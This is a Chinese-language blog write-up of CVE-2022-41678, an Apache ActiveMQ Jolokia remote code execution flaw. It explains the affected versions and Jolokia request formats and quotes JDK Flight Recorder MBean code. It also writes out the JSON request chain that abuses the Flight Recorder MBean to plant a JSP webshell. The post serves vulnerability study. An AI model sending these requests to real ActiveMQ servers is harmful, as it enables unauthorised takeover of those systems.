CVE-2022-41678 Apache ActiveMQ Jolokia RCE

CVE-2022-41678 Apache ActiveMQ Jolokia RCE

ActiveMQ的漏洞最近也有几个,但是因为我已经看到有师傅分析了自己也就没细看,想着后面学一下思路,但是后来就忘了这档子事了,正好昨天又公布了这个去年的老洞,就一口气都写一个学习笔记罢了。(主要是activemq这个产品并没有整体学一遍,正好也简单学一学。
此外,对于漏洞官方的细节非常详尽,请看这里

影响版本

Apache ActiveMQ < 5.16.6
5.17.0 < Apache ActiveMQ < 5.17.4

前置知识

Apache ActiveMQ中使用Jolokia API时,客户端发送的JSON请求格式依赖于你想执行的具体操作。Jolokia支持多种操作,包括读取MBean属性、执行MBean操作、写入MBean属性等。
下面介绍jolokia中的一些基本操作。

读取 MBean 属性

1
2
3
4
5
{
"type": "read",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"attribute": "TotalProducerCount"
}

执行 MBean 操作

1
2
3
4
5
6
{
"type": "exec",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"operation": "addQueue",
"arguments": ["TestQueue"]
}

写入 MBean 属性

1
2
3
4
5
6
{
"type": "write",
"mbean": "org.apache.activemq:type=Broker,brokerName=localhost",
"attribute": "SomeAttribute",
"value": "NewValue"
}

获取所有 MBeans 的列表

1
2
3
{
"type": "list"
}

好了有了以上内容就足够我们分析本次漏洞了。

漏洞分析

阿里云的情报都说了是Jolokia出的漏洞,自然也就直接diff看一下修复(真不是因为我懒
这里就不得不说千万别下5.17,直接用5.16相关版本,环境大坑,我弄了很久。

首先通过web.xml定位到jolokia的路径和其使用的servlet
先分析一下org.jolokia.http.AgentServlet中的内容:

这里判断了如果你的Origin不符合条件,那么就直接退出,所以访问的时候加上Origin头。
加上头之后就能成功访问这些东西了,也就是前面前置知识里那样。
通过了解前置知识我们知道了,通过Jolikia可以对MBean进行操作,MBeanJMX中的核心部分,通过MBean可以将JDK级别的服务以接口的方式对外暴露,提供很多功能。
Java11中,新增了一个MBeanjdk.management.jfr.FlightRecorderMXBeanImpl
对于这个MBean官方也有详细的介绍,想看的师傅可以移步FlightRecorderMXBean (Java SE 11 & JDK 11 ),我在这里就简单介绍一下。
newRecording方法用来创建一个新的记录,但是并不会启动它:

1
2
3
4
5
6
7
8
9
10
public long newRecording() {
MBeanUtils.checkControl();
getRecorder(); // ensure notification listener is setup
return AccessController.doPrivileged(new PrivilegedAction<Recording>() {
@Override
public Recording run() {
return new Recording();
}
}, null, new FlightRecorderPermission("accessFlightRecorder")).getId();
}

创建一个录制后并不会开始,要通过startRecording方法来启动这个录制,其中接受的参数就是前面返回的参数:

1
2
3
4
public void startRecording(long id) {
MBeanUtils.checkControl();
getExistingRecording(id).start();
}

有启动自然也要停止,通过stopRecording方法停止录制:

1
2
3
4
public boolean stopRecording(long id) {
MBeanUtils.checkControl();
return getExistingRecording(id).stop();
}

但是这个开始和结束并不能将webshell地内容放进去,所以我们还需要用setConfigurationwebshell的内容以配置的形式写入,那么配置从哪里来呢,就从getConfigurations来咯:

1
2
3
4
public List<ConfigurationInfo> getConfigurations() {
MBeanUtils.checkMonitor();
return MBeanUtils.transformList(Configuration.getConfigurations(), ConfigurationInfo::new);
}

copyTo这个方法用来将录制的内容写入指定的文件,也就是我们本次漏洞的最后一步,写入JSP

1
2
3
4
5
public void copyTo(long recording, String path) throws IOException {
Objects.requireNonNull(path);
MBeanUtils.checkControl();
getExistingRecording(recording).dump(Paths.get(path));
}

官方也写得很明白,在使用的时候这样写就行了:

那么利用方式也很清晰了:创建录制–设置配置–启动录制–结束录制–写入文件
至于录制的内容就是我们要写入的shell了。
那么就开始吧,首先新建一个录制,不需要接受参数,所以我也没加,返回值中的value就是id值:

1
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"newRecording"}

然后获取配置,看看是什么样的,注意这里用read

1
{"type":"read","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"getConfigurations"}

修改,加入webshell

写入,根据方法接受的参数,第一个是id也就是那个1,第二个就是修改好的配置文件内容:

1
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"setConfiguration","arguments": [1,"xml"]}

开始&结束录制:

1
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"startRecording","arguments": [1]}
1
{"type":"exec","mbean":"jdk.management.jfr:type=FlightRecorder","operation":"stopRecording","arguments": [1]}

导出文件:

访问一下验证:

总结

感觉每次有一些底层的大更新有新特性的时候都会出一些安全问题,这次是ActiveMQ 5.16.x开始支持Java11,所以可以从这些方面入手,看看新特性能不能高些事情。
此外这个漏洞的利用方式不止JDK的MBean一种,还可以利用一些第三方的MBean来getshell,具体的方式就请师傅们自己研究下啦~


CVE-2022-41678 Apache ActiveMQ Jolokia RCE
http://www.springkill.club/2023/12/01/CVE-2022-41678 Apache ActiveMQ Jolokia RCE/
作者
SpringKill
发布于
2023年12月1日
许可协议